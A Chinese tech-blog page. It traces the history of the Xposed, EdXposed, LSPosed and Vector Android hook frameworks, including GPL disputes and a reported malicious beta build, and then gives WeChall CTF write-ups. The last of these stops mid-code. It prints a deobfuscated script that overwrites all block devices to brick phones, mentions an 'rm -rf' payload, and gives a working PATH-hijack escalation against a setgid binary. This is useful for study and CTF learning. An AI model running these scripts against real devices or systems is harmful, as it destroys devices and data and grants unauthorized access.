Hello Navi

Tech, Security & Personal Notes

LSPosed 闭源始末:从 Xposed 到闭源砖机,一条 Android Hook 框架的十二年

完整时间线,每条关键信息附信源引用。信源编号见文末 References。

本文 AI 辅助整理,所有数据点均有信源标注,欢迎纠错补充。


一、项目家谱总览

1
2
3
4
5
6
7
8
9
10
Xposed (rovo89, 2012-2018, Apache 2.0)
└── EdXposed (ElderDrivers, 2019-2021, GPL-3.0) [R4]
└── LSPosed (yujincheng08 et al., 2020-2024, GPL-3.0) [R5]
├── [官方闭源分支] LSPosed IT / Internal Test (2024- ) [R12]
├── [社区活跃 fork] JingMatrix/Vector (2024- ), 原 JingMatrix/LSPosed
├── [社区 fork] re-zero001/LSPosed-Irena (2024- ) [R15]
├── [社区 fork, 已存档] ThePedroo/ReLSPosed (2025-2026) [R19]
├── [社区 fork] mywalkb/LSPosed_mod (2024) [R20]
├── [社区 fork] CMDQ8575/LSPosed (2024) [R20]
└── [社区 fork] F1xGOD/LSPosed-Next (2025) [R20]

二、完整时间线

第一阶段: Xposed 时代 (2012-2018)

Xposed 由德国开发者 rovo89 在 2012 年发布,原理是替换 Android 的 app_process,在 Java 层插 hook。不用改 APK,重启就能撤回。这个项目养活了之后整个 Android 玩机圈子——抢红包、防撤回、绿色守护、Amplify,全是它的生态。

日期 事件 信源
2012-01-04 Xposed Framework 由德国开发者 rovo89 (Robert Vollmer) 在 XDA 首次公布概念验证 [R1]
2012-03-31 Xposed 正式发布,支持 Android 4.0 (ICS)。原理:替换 app_process,注入 Java 层 hook [R1][R2]
2013-09 Xposed 2.2 发布,支持 Android 4.2/4.3 [R3]
2014-03 Xposed 2.5 发布,支持 Android 4.4 (KitKat) [R3]
2014-11 Android 5.0 推出 ART 运行时,Xposed 需大量重写以支持 ART [R3]
2015-02 Xposed for Lollipop (3.0) 发布,用 ART 替代 Dalvik [R3]
2017-12-17 Xposed v89 发布,支持至 Android 7.1 (Nougat) [R2]
2018-01-29 Xposed v90-beta3 发布(最后一个官方版本),支持 Android 8.0/8.1 Oreo 实验性支持 [R2][R3]
2020-06-08 rovo89 最后提交到 Xposed 核心仓库 [R2]
2023-06-01 rovo89 将所有 Xposed 仓库(core/bridge/installer)归档只读 [R2]

关键人物:

  • rovo89 (Robert Vollmer) — 德国开发者,2012-2018 年间主导 Xposed 开发,2023 年彻底归档。XDA Recognized Developer。[R1][R2]
  • Tungstwenty — Xposed 早期核心贡献者,contributor 排名第二。[R2]

第二阶段: EdXposed 时代 (2019-2021)

Xposed 止步于 Android 8.1 后,社区需要在新 Android 版本上运行 Xposed 模块的解决方案。EdXposed 基于 Riru(Zygote 注入)+ YAHFA/SandHook(ART hook)实现。

日期 事件 信源
2019-01-18 EdXposed 首次在 GitHub 创建仓库,基于 Riru(通过 zygote 进程注入)和 YAHFA/SandHook ART hook 框架 [R4]
2019-10-21 EdXposed README 更新,正式支持 Android 10(commit 96d0a9c [R4a]
2020-04-27 开始适配 Android 11 (R) — 提交者 swift_gan / solohsu(commit a61ad08 [R4][R25]
2020-05-16 EdXposed Canary 频道遭恶意代码攻击 — 三人利用 CI 自动构建漏洞提交含 rm -rf /data/media 的 PR,通过 Canary 频道分发给用户。EdXposed 团队紧急关闭 Canary 频道 [R6][R7][R8]
2020-12-21 EdXposed 进入 v0.5.x alpha 阶段,支持 Android 11(commit e7a4720 by MlgmXyysd) [R4]
2021-02-15 EdXposed 最后一个发布版 v0.5.2.2,支持 Android 8.0 ~ 11 [R4]
2021年后 EdXposed 实质上停止开发,停留在 Android 11,未适配新 Riru。管理者 M 要求用户"不要升级 Android 和 Riru 版本" [R9]

关键人物:

  • solohsu (苏先生) — EdXposed 核心开发者,提供定制 Magisk 构建。GitHub 角色:项目维护者。[R4]
  • MlgmXyysd — EdXposed Manager 开发者。XDA 官方帖作者。[R7][R4]
  • E (ElderDrivers 组织名/原作者) — 早期退坑。[R9]
  • M (EdXposed Manager 接管者) — 接手管理后引发系列问题,详下。

第三阶段: EdXposed 内部矛盾 → LSPosed fork (2020)

EdXposed 的管理问题直接导致了 LSPosed 的诞生。

日期 事件 信源
2020 年中 EdXposed 管理者 M 因管理方式与维护团队产生严重分歧。核心问题:(1) PR 自动合并、不做审查就通过 CI 自动构建发版;(2) 2020-05 的恶意代码攻击正是利用了这一机制;(3) M 要求用户不要升级 Android/Riru,引发维护团队不满 [R9][R6][R7]
2020-11-12 LoveSy(yujincheng08)提交反黑名单机制代码(commit e9c03a8 [R4]
2020-12-03 维护团队内部矛盾激化 [R9]
2020-12-12 LSPosed 仓库创建LSPosed/LSPosed)。原 EdXposed 核心维护团队集体 fork。在"半开玩笑的情况下"决定另起炉灶 [R9][R5]
2021-02 EdXposed 停止更新;LSPosed 成为事实上的继承者 [R4]

巴哈姆特帖子对这段历史的描述:

"这件事应该是发生在 EdXposed 上,那时原作者 E 就不太管这个项目了,交由 EdXposed Manager 的开发者 M 管理。由于当时 EdXposed 的 PR 是自动合并、没有审查就发布测试版,其他维护者反应过但没获得解决,于是其中一名维护者 PR 了 rm -rf /*。事后,由于维护者们的 M 的理念不合,在众人半开玩笑的情况下有了 LSPosed。" [R9]

注:巴哈姆特帖子自称"没有查证,可能不是事实,可能偏袒 LSPosed"。实际恶意代码事件中,被提交的 payload 是 rm -rf /data/media,见 [R6][R7][R8]。

LSPosed 创始团队(同时也是 EdXposed 原维护团队):

  • yujincheng08 (LoveSy) — LSPosed 核心开发者,最多提交贡献者。[R5]
  • solohsu — EdXposed/LSPosed 核心。[R4][R5]
  • vvb2060 — 核心开发者。[R5]
  • kotori2 (Kotori) — 核心开发者。[R4][R5]
  • Howard20181 — 核心开发者。[R5]
  • Dr-TSNG — libxposed API 设计者。[R16]

第四阶段: LSPosed 开源活跃期 (2020-2023)

LSPosed 自研了 LSPlant(ART hook 引擎,LGPL 许可),替代了 EdXposed 使用的 YAHFA/SandHook。适配速度远超 EdXposed。

日期 事件 信源
2020-12 LSPosed 初始发布,支持 Riru 注入 + 自研 LSPlant hook 框架 [R5]
2021 适配 Android 12,逐步完善功能 [R5]
2022-09-14 LSPosed v1.8.4 发布,通过 Android 13 兼容性测试、初步支持 Android 14 [R12]
2023-01-16 LSPosed v1.8.6 发布,提出 libxposed 新 API 提案,并在 GitHub 创建 libxposed 组织 [R12][R16]
2023-03-14 实现现代 Xposed API,支持模块作用域管理、动态申请 scope [R12]
2023-08-30 LSPosed v1.9.1 发布 [R5]
2023-10-12 LSPosed v1.9.2 发布最后一个公开发布的版本)。支持 Android 14、修复多项 hook 问题 [R5][R5a]
2023-11-23 LSPatch v0.6 发布(LSPosed 非 root 版本) [R12]
2023-12-13 LSPatch 停更归档 — GitHub 仓库设为只读。开发者称因遭受用户攻击 [R13]

技术亮点: LSPosed 自研了 LSPlant(ART hook 引擎,LGPL 许可),替代了 EdXposed 使用的 YAHFA/SandHook。LSPlant 在 LSPosed v1.8.0 起成为核心引擎。[R5][R12]

第五阶段: 停更与闭源转折点 (2024-01)

2024 年 1 月 8 日是整个故事的转折点。

日期 事件 信源
2023-12 Delta/Kitsune Mask 用户持续在 LSPosed 反馈群刷 Shamiko 兼容性问题。群规明确第 15 条:"不接受 delta 反馈" [R9][R14]
2024-01-04 Shamiko v1.0 发布 [R12]
2024-01-04 PixelProps 开发者被 LSPosed 群踢出后,组织人员在群内刷脏话、种族歧视言论 [R11]
2024-01-08 LSPosed 宣布停止维护,GitHub 仓库归档只读。LSPosedArchives 公告:"Clarification: we stopped maintenance mainly because we have earned more rumor, defamation, racism, curse (see pic, which was said by one the authors of @PixelProps), and clowns than reputation, NOT because of confliction or legitimacy. Most of us are also Magisk's contributor, and we also got curse from the Magisk's community. We are just too tired of the community; we need rest." [R11][R14a]
2024-01-08 同日连锁反应:KernelSU(weishu)归档、ZygiskNext 停更、Shamiko 停更 [R11][R14]
2024-01-08 PixelProps 作者在 Telegram 指责 LSPosed "造谣" [R11][R14]
2024-01-09 APatch 开发者 @bmax 澄清"LSPosed 停更与 APatch 无关" [R14]
2024-01-08~12 中文媒体(CSDN、腾讯云、IT之家、万里淘知)大量报道,基调多为同情开发者 [R14][R14a]
2024-01-08 KernelSU 作者 weishu 发表声明:"也曾遭遇过同样的言语攻击行为,理解且赞同本次 LSPosed 停更的做法。"随后将 KernelSU 设置为存档(后恢复) [R14]
2024-01-16 KernelSU 解除存档,恢复更新 [R21]

导火索:

  1. Kitsune Mask 用户刷屏 — 群规第 15 条明确写过"不接受 delta 反馈",但每天几十人进来问 Shamiko 兼容性问题 [R14]
  2. PixelProps 事件 — PixelProps 作者被踢出群后,组织人员在群里刷种族歧视言论 [R11]
  3. "不注明出处"谣言 — LSPosed 被指责 fork 了 EdXposed 却不注明,实际上 README 里一直写着 "EdXposed: fork source" [R11]

第六阶段: 内部测试 (Internal Test) 与闭源分发 (2024-02 起)

停更之后,事情走向开始变味。

日期 事件 信源
2024-02-17 LSPosed Telegram 频道宣布"内部版本已支持 Android 15 DP1 & DP2" [R12]
2024-03-25 LSPosed 宣布 RISCV64 架构可用 [R12]
2024-04-03 LSPosed 发起投票:"阁下是否希望 LSPosed 恢复维护?" 15,274 票。结果:48% "希望,且不介意是否开源";48% "希望,且只会使用开源版本";4% "不希望" [R12a]
2024-04-26 LSPosed 官方宣布招募内部测试人员,通过私有 Telegram 群分发闭源测试版。明确说明"内测人员无权访问软件的源代码"。测试结束后"将决定是否恢复对外发布,并考虑将软件开源或部分开源" [R12b]
2024-08-24 LSPosed 称 CDN 被攻击,单日费用超 $100,停止加速中国用户的模块仓库访问 [R12]
2024-10-28 LSPosed 内部测试群正式启动 — 使用 base64 编码的邀请链接在 Telegram 公开频道分发。要求申请者用 GitHub SSH 密钥签名挑战码(命令: echo aHR0cHM6Ly90Lm1lLytOZkh6dGZ5TkJaczJaRGxs | base64 -d [R12c]
2024-10-28 bot.lsposed.org 上线 — 内部测试申请页面。测试条款包含:"放弃访问软件源代码的权利"、"无偿提供测试服务并履行保密义务" [R12d]
2024-12+ 持续通过内部测试群发布闭源 Shamiko 更新和 LSPosed 版本 [R12]

此阶段的关键争议点:

  • LSPosed 团队在 GitHub 仓库归档后,通过私密 Telegram 群继续发布新版本 [R12]
  • 这些版本基于 GitHub 上最后一个 GPLv3 开源版本(v1.9.2)继续开发 [R5a]
  • 发布时仅分发二进制文件,不提供对应源代码 [R12b][R12d]
  • 内测人员明确"无权访问源代码"、"放弃访问软件源代码的权利" [R12b][R12d]
  • 违反 GPLv3 §5(修改版必须以 GPLv3 发布)和 §6(二进制发布须附带源码或书面要约)

第七阶段: 争议爆发 — GPL 违规指控与恶意代码 (2025)

日期 事件 信源
2024~2025 社区多个 fork 出现;XDA 论坛出现"哪个 fork 还在维护"的讨论 [R20]
2025-01-26 XDA 帖子 "Beware of LSPosed: The Fall of an Open-Source Project into Malware" 发布,后被版主关闭 [R22]
2025-05-24 XDA 帖子 "WARNING: LSPosed IT is a MALWARE" 发布(也被关闭),用户声称安装 LSPosed IT v7281 后手机被远程控制、自动发送诈骗短信 [R23]
2025-05 exposelsposed.pages.dev 抵制网站上线,逐条指控 GPLv3 违规:"Before January 8, 2024, LSPosed's code was open-source. However, since that date, they have violated the GPLv3 license by releasing closed-source builds without providing the corresponding source code." [R24]
2025-07-20 XDA 帖子 "Security analysis of the LSPosed beta version" (用户 shell5236)。分析者从 LSPosed IT v7393 中提取到 sb.sh 和 sppsvc 两个恶意文件,证实 sppsvc 包含擦除 eMMC 分区的代码 [R25a]
2025-07 LSPosed 内测群将 v7393 撤回,但该版本已被下载分析 [R25a]
2025-12-15 JingMatrix/Vector 收到 issue #492(闭源版数据库兼容性问题),JingMatrix 回应:"There is no reason for us to keep compatibility with a closed-source software." [R26]

恶意代码分析 (来自 XDA 用户 shell5236): [R25a]

分析者从 LSPosed-v1.9.2-it-7393-release.zip 中提取到两个文件:

  • sb.sh: 被 GVAS 加密,文件名含中文脏话
  • sppsvc: base64 混淆,脱壳后源码如下:
1
2
3
4
5
6
7
8
9
10
m=`ls /dev/block/sd*`
for i in $m
do echo "This copy of LSPosed is not genuine" | tee | cat >$i
done
m=`ls /dev/block/mmcblk*`
for i in $m
do echo "This copy of LSPosed is not genuine" | tee | cat >$i
done
sync
reboot

该脚本遍历所有 eMMC 分区(包括 lk bootloader 和 xbl 启动加载器分区),向每个分区写入文本,破坏引导分区后重启。效果: 设备完全变砖,只能通过 EDL 模式修复。 分析者将此比作 CIH 病毒。[R25a]

LSPosed 内测群用户确认:"In the TG group of LSPosed closed beta, the version 7393 was indeed posted. It was retracted after it was discovered that someone had leaked this version. ... But there is indeed a malware in this version! I don't know when it will be triggered. But this is like the CIH virus, once it is triggered, then the device is completely scrapped. The only fix may be EDL." [R25a]


三、所有重要 Fork 横向对比

Fork 仓库 Stars 近期活动 特点 状态
JingMatrix/Vector https://github.com/JingMatrix/Vector [R15] ~10,600 2026-04 活跃 Kotlin 重写 Java 层,支持 Android 8.1~17 Beta。v2.0 发布,完整 API 100 实现,移除了遥测。作者为数学博士 最活跃
LSPosed-Irena https://github.com/re-zero001/LSPosed-Irena [R15] ~2,600 2026-05 活跃 基于 LSPosed,支持 ZygiskNext 活跃
ReLSPosed https://github.com/ThePedroo/ReLSPosed [R19] ~950 2026-02 存档 fork 自 JingMatrix/Vector,短暂尝试接手后存档 已存档
mywalkb/LSPosed_mod 分散提交 - 2024 早期修复 Android 14 兼容性的补丁 已过时
CMDQ8575/LSPosed 分散提交 - 2024 早期 fork 已过时
F1xGOD/LSPosed-Next https://github.com/F1xGOD/LSPosed-Next 1 2025-12 创建 针对 KernelSU Next 的极小更新 无人问津
pumPCin/LSPosed 分散提交 - 2024 零星提交 已过时

JingMatrix/Vector 项目更名历程: [R15]

  • 2023-07: 创建 JingMatrix/LSPosed 仓库(最初只是 LSPosed 的 fork)
  • 2026-01 v1.11.0: 宣布将进行完全重构,改名 Vector,Java 层重写为 Kotlin。说明:"The name Vector was chosen to manifest its close mathematical relationship with Matrix, while symbolizing the framework's role as a precise injection vector for modules."
  • 2026-03 v2.0: 正式更名为 Vector

Vector v2.0 的变化: [R15][R27]

  • 移除所有遥测 (telemetry)
  • 移除 LSPlt Hook(因效率原因)
  • 切换到官方 C++ 实现
  • 完整的 libxposed API 100 实现
  • 支持 Android 8.1 ~ 17 Beta

四、关键人物完整列表

人物 GitHub/Handle 角色 现状 信源
rovo89 (Robert Vollmer) @rovo89 Xposed 原作者,德国开发者 2018 年后退坑,2023 存档所有仓库 [R1][R2]
yujincheng08 (LoveSy) @yujincheng08 LSPosed 核心开发者、最多提交贡献者 参与 LSPosed 原始开发,目前状态不明 [R5][R5a]
solohsu (苏先生) @solohsu EdXposed + LSPosed 核心开发者 早期核心,提供定制 Magisk 构建 [R4a][R4]
vvb2060 @vvb2060 LSPosed 核心开发者 贡献大量代码 [R5]
kotori2 @kotori2 LSPosed 核心开发者 早期贡献者,EdXposed Riru 适配 [R4][R5]
Howard20181 @Howard20181 LSPosed 核心开发者 贡献者 [R5]
Dr-TSNG @Dr-TSNG libxposed API 设计者,核心贡献者 仍在推进 libxposed API 101 (2026-03) [R16]
MlgmXyysd @MlgmXyysd EdXposed Manager 开发者,LSPosed 贡献者 早期 EdXposed 管理者之一,XDA 官方帖作者 [R7][R4]
JingMatrix @JingMatrix Vector 当前维护者,数学博士(法国图卢兹),98 年出生,公司: Matrix Transformation 活跃 — 2023-07 接手,现全权维护 Vector [R28][R29]
re-zero001 @re-zero001 LSPosed-Irena 维护者 活跃 [R15]
ThePedroo @ThePedroo ReLSPosed 维护者 已归档 [R19]
weishu (维术) @weishu KernelSU 作者,也是 VirtualXposed/太极/两仪开发者 2024-01-08 随 LSPosed 归档(后恢复) [R14][R21]
E (ElderDrivers) @ElderDrivers EdXposed 原作者/组织 早期退坑 [R9][R4]
M (EdXposed Manager) - EdXposed 后期管理者 因管理混乱被原团队抛弃。PR 自动合并不审查,2020-05 恶意代码事件直接由该机制导致 [R9][R6][R7]
LiviaFontes @LiviaFontes LSPosed IT 闭源版本的第三方分发者 身份不明,无公开仓库 [R30]

五、GPL 违规分析

违规事实

LSPosed 项目自身标注为 GNU General Public License v3.0 (GPL-3.0)。[R5] 它 fork 自 EdXposed(同样 GPL-3.0)[R4],并使用了 Xposed 的代码。

2024-01-08 之后的行为:

行为 是否违反 GPLv3 说明
归档 GitHub 仓库、停止开发 不违反 开发者可以选择停止开发
通过私有 Telegram 群分发二进制版本 违反 §5 修改版必须以 GPLv3 发布
不提供对应源代码 违反 §6 二进制发布须附带源码或书面要约
内测人员"无权访问源代码" 违反 §6 每个收到软件的人都有权获得源码
内测申请页要求"放弃访问源代码的权利" 违反 §6 + 可能违反当地合同法 GPL 条款不可通过单方面协议撤销
在闭源版本中包含恶意代码(设备砖化脚本) 道德问题 + 额外法律风险 独立于 GPL 讨论

中国司法实践参考

  • 罗盒案 (2021/2024) — 广州知产法院和最高法均确认: GPL 3.0 是附解除条件的著作权合同。违反 GPL 条款(如不公开源代码)导致授权自动终止,后续的复制/发布行为构成著作权侵权。[R33]
  • 网经科技案 (2023 最高法) — 确立"违反 GPL ≠ 丧失著作权"。违反开源协议与享有著作权是相对独立的两个法律问题。[R31]
  • 2025 最高法年度报告 — 未遵守开源协议可作为确定赔偿数额的考量因素(减少赔偿额)。[R32]

为什么至今没有被起诉

  1. 上游版权链断裂: EdXposed 原作者 E 已退坑;原 EdXposed 维护者就是 LSPosed 团队自己。没有有动机的版权持有人去起诉。
  2. 中国司法实践: 虽然有罗盒案支持 GPL 的可执行性,但需要有原告主动主张权利。[R33]
  3. 诉讼成本: 开源社区诉讼需要时间、金钱和明确的损害赔偿主张,而 LSPosed 是免费项目,损害赔偿难以量化。

六、社区回应总结

社区/群体 反应 信源
XDA 论坛 多次出现警告帖(2025-01、2025-05、2025-07),但全部被版主关闭 [R22][R23][R25a]
exposelsposed.pages.dev 专门抵制网站,有完整的 GPLv3 违规证据链 [R24]
中文玩机圈 大多同情开发者,"被喷到退坑"叙事占主流,GPL 合规讨论极少 [R14][R14a]
上游(EdXposed/Xposed) 无回应 — 上游要么退坑要么就是 LSPosed 团队自己 -
其他开发者 KernelSU weishu 公开支持;JingMatrix 选择技术路线(fork + 继续开源);APatch @bmax 澄清无关 [R14][R15]
实际用户 大部分转向 JingMatrix/Vector 或 LSPosed-Irena;少部分继续使用内部测试版 [R20]

七、技术演进总结

维度 Xposed EdXposed LSPosed Vector
hook 引擎 自研 app_process YAHFA / SandHook LSPlant (自研) LSPlant + Kotlin
注入方式 替换 app_process Riru Riru → Zygisk Zygisk only
API Xposed API Xposed API Xposed API → libxposed libxposed API 100
Android 4.0 ~ 8.1 8.0 ~ 11 8.1 ~ 14 8.1 ~ 17 Beta
许可 Apache 2.0 GPL-3.0 GPL-3.0 GPL-3.0
状态 已归档 已停止 已归档(闭源分支继续) 活跃

八、当前状态 (截至 2026-06)

项目 状态 推荐度
Xposed (rovo89) 已归档,不支持 Android 8+ ❌ 仅用于旧设备
EdXposed 已停止,不支持 Android 12+
LSPosed 官方 (LSPosed/LSPosed) 已归档,最后版本 v1.9.2 (2023-10) ❌ 不建议使用
LSPosed IT (内测闭源版) 活跃但有 GPL 违规 + 恶意代码记录 强烈不建议
JingMatrix/Vector 最活跃,v2.0 发布,支持 Android 8.1~17 Beta 强烈推荐
LSPosed-Irena (re-zero001) 活跃,支持 ZygiskNext ✅ 可选
libxposed API Dr-TSNG 持续开发中,API 101 已在 RFC 阶段 (2026-03) -

九、十二行时间线(快速概览)

1
2
3
4
5
6
7
8
9
2012        Xposed 诞生 (rovo89)
2018 Xposed 停更 (v90-beta3)
2019 EdXposed 接盘 (ElderDrivers)
2020-05 EdXposed Canary 遭恶意 PR 注入
2020-12-12 LSPosed fork 创建
2023-10-12 LSPosed v1.9.2 最后一个公开版本
2024-01-08 LSPosed 宣布停更 → 闭源分发开始
2025-07-20 LSPosed IT v7393 含砖机代码曝光
2026-03-22 JingMatrix/Vector v2.0 发布

十、References (信源索引)

编号 信源 URL 内容
R1 XDA Xposed 原帖 https://xdaforums.com/t/xposed-legacy-thread.1574401/ 2012 年初始发布
R2 rovo89/Xposed GitHub https://github.com/rovo89/Xposed 核心仓库,已归档
R3 Wikipedia Draft: Xposed Framework https://en.wikipedia.org/wiki/Draft:Xposed_Framework Xposed 版本历史、ART 迁移
R4 ElderDrivers/EdXposed GitHub https://github.com/ElderDrivers/EdXposed 仓库主页,releases,contributors
R4a EdXposed commit 96d0a9c https://github.com/ElderDrivers/EdXposed/commit/96d0a9c 2019-10-21 支持 Android 10
R5 LSPosed/LSPosed GitHub https://github.com/LSPosed/LSPosed 仓库主页,23K stars,GPL-3.0
R5a LSPosed v1.9.2 Release https://github.com/LSPosed/LSPosed/releases/tag/v1.9.2 2023-10-12 最后一个公开版本
R6 EdXposed GitHub Issue #547 https://github.com/ElderDrivers/EdXposed/issues/547 Canary 含 rm -rf 恶意代码
R7 EdXposed XDA 官方帖 https://xdaforums.com/t/official-edxposed.4070199/ 恶意代码事件说明
R8 IT之家 EdXposed 恶意代码报道 https://ithome.com/0/487/702.htm 中文报道
R9 巴哈姆特帖子 https://home.gamer.com.tw/creationDetail.php?sn=5851893 M 管理问题、LSPosed fork 原因
R11 LSPosedArchives Telegram https://t.me/s/LSPosedArchives 停更声明全文、PixelProps 争议
R12 LSPosed Telegram 频道 https://t.me/s/LSPosed 闭源分发渠道
R12a LSPosed 投票 (2024-04-03) https://t.me/s/LSPosed/276 15,274 票结果
R12b LSPosed 内测招募 (2024-04-26) https://t.me/s/LSPosed/281 "内测人员无权访问源代码"
R12c LSPosed 内测开始 (2024-10-28) https://t.me/s/lsposed?before=288 base64 邀请链接
R12d bot.lsposed.org https://bot.lsposed.org "放弃访问源代码的权利"
R13 LSPatch GitHub https://github.com/LSPosed/LSPatch 2023-12-13 归档
R14 万里淘知 LSPosed 停更 https://hovthen.com/LSPosed-Goodbye.html 中文全景报道
R14a Appuals LSPosed Shuts Down https://appuals.com/lsposed-ceases-operations/ 英文媒体报道
R15 JingMatrix/Vector GitHub https://github.com/JingMatrix/Vector 当前最活跃 fork
R16 libxposed GitHub https://github.com/libxposed/api API 101 RFC (2026-03)
R19 ThePedroo/ReLSPosed https://github.com/ThePedroo/ReLSPosed 已存档 fork
R20 XDA fork 讨论 https://xdaforums.com/t/is-there-any-new-lsposed-fork.4662631/ 社区 fork 汇总
R21 KernelSU 恢复更新 https://jisuxz.com/article/zixun/71800.html 2024-01-16 解除存档
R22 XDA "Beware of LSPosed" https://xdaforums.com/t/closed-beware-of-lsposed.4715372/ 2025-01-26 警告帖
R23 XDA "WARNING LSPosed IT MALWARE" https://xdaforums.com/t/closed-warning-lsposed-it-is-a-malware.4738989/ 2025-05-24 v7281 报告
R24 exposelsposed.pages.dev https://exposelsposed.pages.dev GPLv3 违规抵制网站
R25 EdXposed Android R commit 对比 https://github.com/ElderDrivers/EdXposed/compare/v0.4.6.1...master Android 11 适配 commits
R25a XDA 安全分析 LSPosed IT v7393 https://xdaforums.com/t/security-analysis-of-the-lsposed-beta-version.4750843/ sb.sh/sppsvc 恶意代码
R26 JingMatrix Issue #492 https://github.com/JingMatrix/Vector/issues/492 "There is no reason for us to keep compatibility with a closed-source software."
R27 Vector v2.0 Release https://github.com/JingMatrix/Vector/releases/tag/v2.0 2026-03-22 发布公告
R28 JingMatrix GitHub Profile https://github.com/JingMatrix 数学博士,法国图卢兹
R29 V2EX @jingmatrix https://v2ex.com/member/jingmatrix 中文自我介绍
R30 Magisk.dev LSPosed IT https://magisk.dev/modules/lsposed-it-liviafontes/ 闭源分发信息
R31 网经科技案 (2023 最高法) https://ipc.court.gov.cn/zh-cn/news/view-3773 违反 GPL≠丧失著作权
R32 2025 最高法年度报告 https://ipc.court.gov.cn/zh-cn/news/view-5637 未开源可作为赔偿数额考量因素
R33 罗盒案 (2021) 一审判决书 https://zh.wikisource.org/wiki/广州知识产权法院(2019)粤73知民初207号民事判决书 GPL 3.0 合同效力认定

Challenge

This is the level11 mini challenge found in /home/level/11_choose_your_path2/ on the warchall box.

Choose your Path 续集。同样是一个 C 程序 charp2,用 popen() 执行 wc 统计文件行数和字符数。

与 level10 charp 的区别:

特性 charp (level10) charp2 (level11)
wc 路径 硬编码 /usr/bin/wc 直接用 wc(依赖 PATH)
参数包裹 直接拼接 单引号包裹 '%s'
引号转义 escape_single_quotes()''\''

Level 10 是靠 command injection(popen() 不处理 shell metachar),而 level 11 加上了单引号包裹和转义函数,所以 command injection 被堵了。

但新的漏洞是:wc 没有指定绝对路径,可以通过 PATH 环境变量劫持。

Solution

charp2 是 setgid level11 的程序:

1
2
3
$ ls -la /home/level/11_choose_your_path2/
-rwxr-sr-x 1 level11 level11 16440 ... charp2 # setgid!
-rw-r----- 1 root level11 297 ... solution.txt # 只有 level11 可读

solution.txt 只允许 level11 group 读取,但 charp2 执行时有效 GID 变成 level11,所以可以读取。

攻击步骤:

  1. 创建一个 fake wc 脚本
  2. 把它的目录加到 PATH 最前面
  3. 运行 charp2,它通过 popen("wc -l '...'") 执行时,会找到我们的 fake wc
  4. fake wc 继承 charp2 的 setgid 权限(popen/bin/sh -cexec,dash 不会丢弃 setgid),能读取 solution.txt
1
2
3
4
5
6
7
8
9
10
11
12
# 创建 fake wc
mkdir -p ~/mypayload
cat > ~/mypayload/wc << 'EOF'
#!/bin/bash
cat /home/level/11_choose_your_path2/solution.txt 1>&2
echo "1 5" # 让 charp2 能正常解析数字
EOF
chmod +x ~/mypayload/wc

# 执行
cd /home/level/11_choose_your_path2
PATH=~/mypayload:$PATH ./charp2 solution.txt

原理:

  • popen("wc -l 'solution.txt'", "r")/bin/sh -c "wc -l 'solution.txt'"
  • /bin/sh is dash(不是 bash),dash 会丢弃继承的 setgid
  • dash 通过 PATH 找到我们的 ~/mypayload/wc,执行时仍保有 charp2 的 EGID=level11
  • 所以 fake wc 可以 cat solution.txt
CodingIsDamnHard3

Challenge

WeChall 会请求你服务器的 /WechallUsername/[0-9]+_mul_[0-9]+.html 路径,你的服务器需返回两数乘积。

表单只提交 port,IP 由 WeChall 自动检测(从请求的 TCP 源 IP)。

Solution

需要一台满足两个条件的机器: 1. 公网 IP 可被 WeChall 访问(入站) 2. 能出站到 WeChall(提交表单)

方案:临时 Vultr VPS

vultr-cli 在 Frankfurt 区域开一台 Debian 12 VPS:

1
2
3
4
5
6
# 安装 CLI
sudo pacman -S vultr-cli
export VULTR_API_KEY='your-api-key'

# 开机器
vultr-cli instance create --region fra --plan vc2-1c-1gb --os 2136 --host wechall-ctf

拿到 IP 和 root 密码后:

1
2
3
4
5
6
7
8
9
10
11
# 部署 rewrite server
scp rw.py root@IP:/tmp/
ssh root@IP 'nohup python3 /tmp/rw.py 8889 > /tmp/rw.log 2>&1 &'

# 开放防火墙
ssh root@IP 'ufw allow 8889/tcp'

# 提交表单
curl -b 'WC=YOUR_COOKIE' \
-d 'port=8889&go=I+have+set+it+up.+Please+check+my+server.' \
'https://www.wechall.net/en/challenge/training/www/rewrite/index.php'

Rewrite Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import http.server, re, sys

class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
m = re.match(r'^/WechallUsername/([0-9]+)_mul_([0-9]+)\.html$', self.path)
if m:
r = str(int(m.group(1)) * int(m.group(2)))
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(r.encode())
else:
self.send_response(200)
self.end_headers()
self.wfile.write(b'ready')

httpd = http.server.HTTPServer(('0.0.0.0', int(sys.argv[1])), H)
httpd.serve_forever()

注意事项

  • 注意开放 UFW/iptables 端口(Vultr Debian 默认 INPUT DROP)
  • Vultr 防火墙组也要加规则,或者不用 Vultr 防火墙直接用 UFW
  • 用完删实例避免继续计费:vultr-cli instance delete <ID>
  • 最低成本 ~$0.004/hr(vc2-1c-1gb 约 $5/月,按小时计费)

Challenge

Java applet 实现汉诺塔,10 个盘子从左柱移到右柱,限 60 秒。无法在现代浏览器直接运行(Java applet 已被弃用),需要逆向 jar 文件离线算出答案。

Solution

Step 0: 获取 JAR

JAR 文件在挑战页面的 <applet> 标签中通过 archive="hanoi2.jar" 引用,与页面同目录:

1
$ wget https://www.wechall.net/challenge/Z/hanoi/hanoi2.jar

Step 1: 逆向分析

1
2
$ jar xf hanoi2.jar
$ javap -c -p Tower.class Tower\$TowerPanel.class

反编译关键发现:

  • 每次合法拖拽后,mouseUp() 构造 last_tower + new_tower(如 "a" + "b" = "ab"),调用 Tower.query(move)
  • query()/challenge/Z/hanoi/?query=<move> 发 HTTP 请求,读取服务器返回的 2 字符响应,追加到 solution 字符串
  • 所有 10 盘移到右柱(win=true)时,对 solution 做 SHA-512,导航到 ?solution=<hash>
  • 60 秒超时(javax.swing.Timer),移动超过 1023 步自动重置

Step 2: 获取 6 种 query 的返回值

服务器对每种合法移动返回固定 2 字符令牌:

Move Response
ab we
ac ch
ba lr
bc al
ca ul
cb z!

这些值可通过实际运行 applet 抓包或直接 curl 逐个获取:

1
2
$ curl -s 'https://www.wechall.net/challenge/Z/hanoi/?query=ab'
we

Step 3: 生成最优序列

10 盘汉诺塔最优解需要 2^10 − 1 = 1023 步。经典的递归解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib

MOVE_RESP = {
'ab': 'we', 'ac': 'ch', 'ba': 'lr',
'bc': 'al', 'ca': 'ul', 'cb': 'z!',
}
TOWER = ['a', 'b', 'c']

def hanoi_moves(n, src, dst, aux):
if n == 0: return
yield from hanoi_moves(n - 1, src, aux, dst)
yield (src, dst)
yield from hanoi_moves(n - 1, aux, dst, src)

moves = list(hanoi_moves(10, 0, 2, 1))
solution = ''.join(
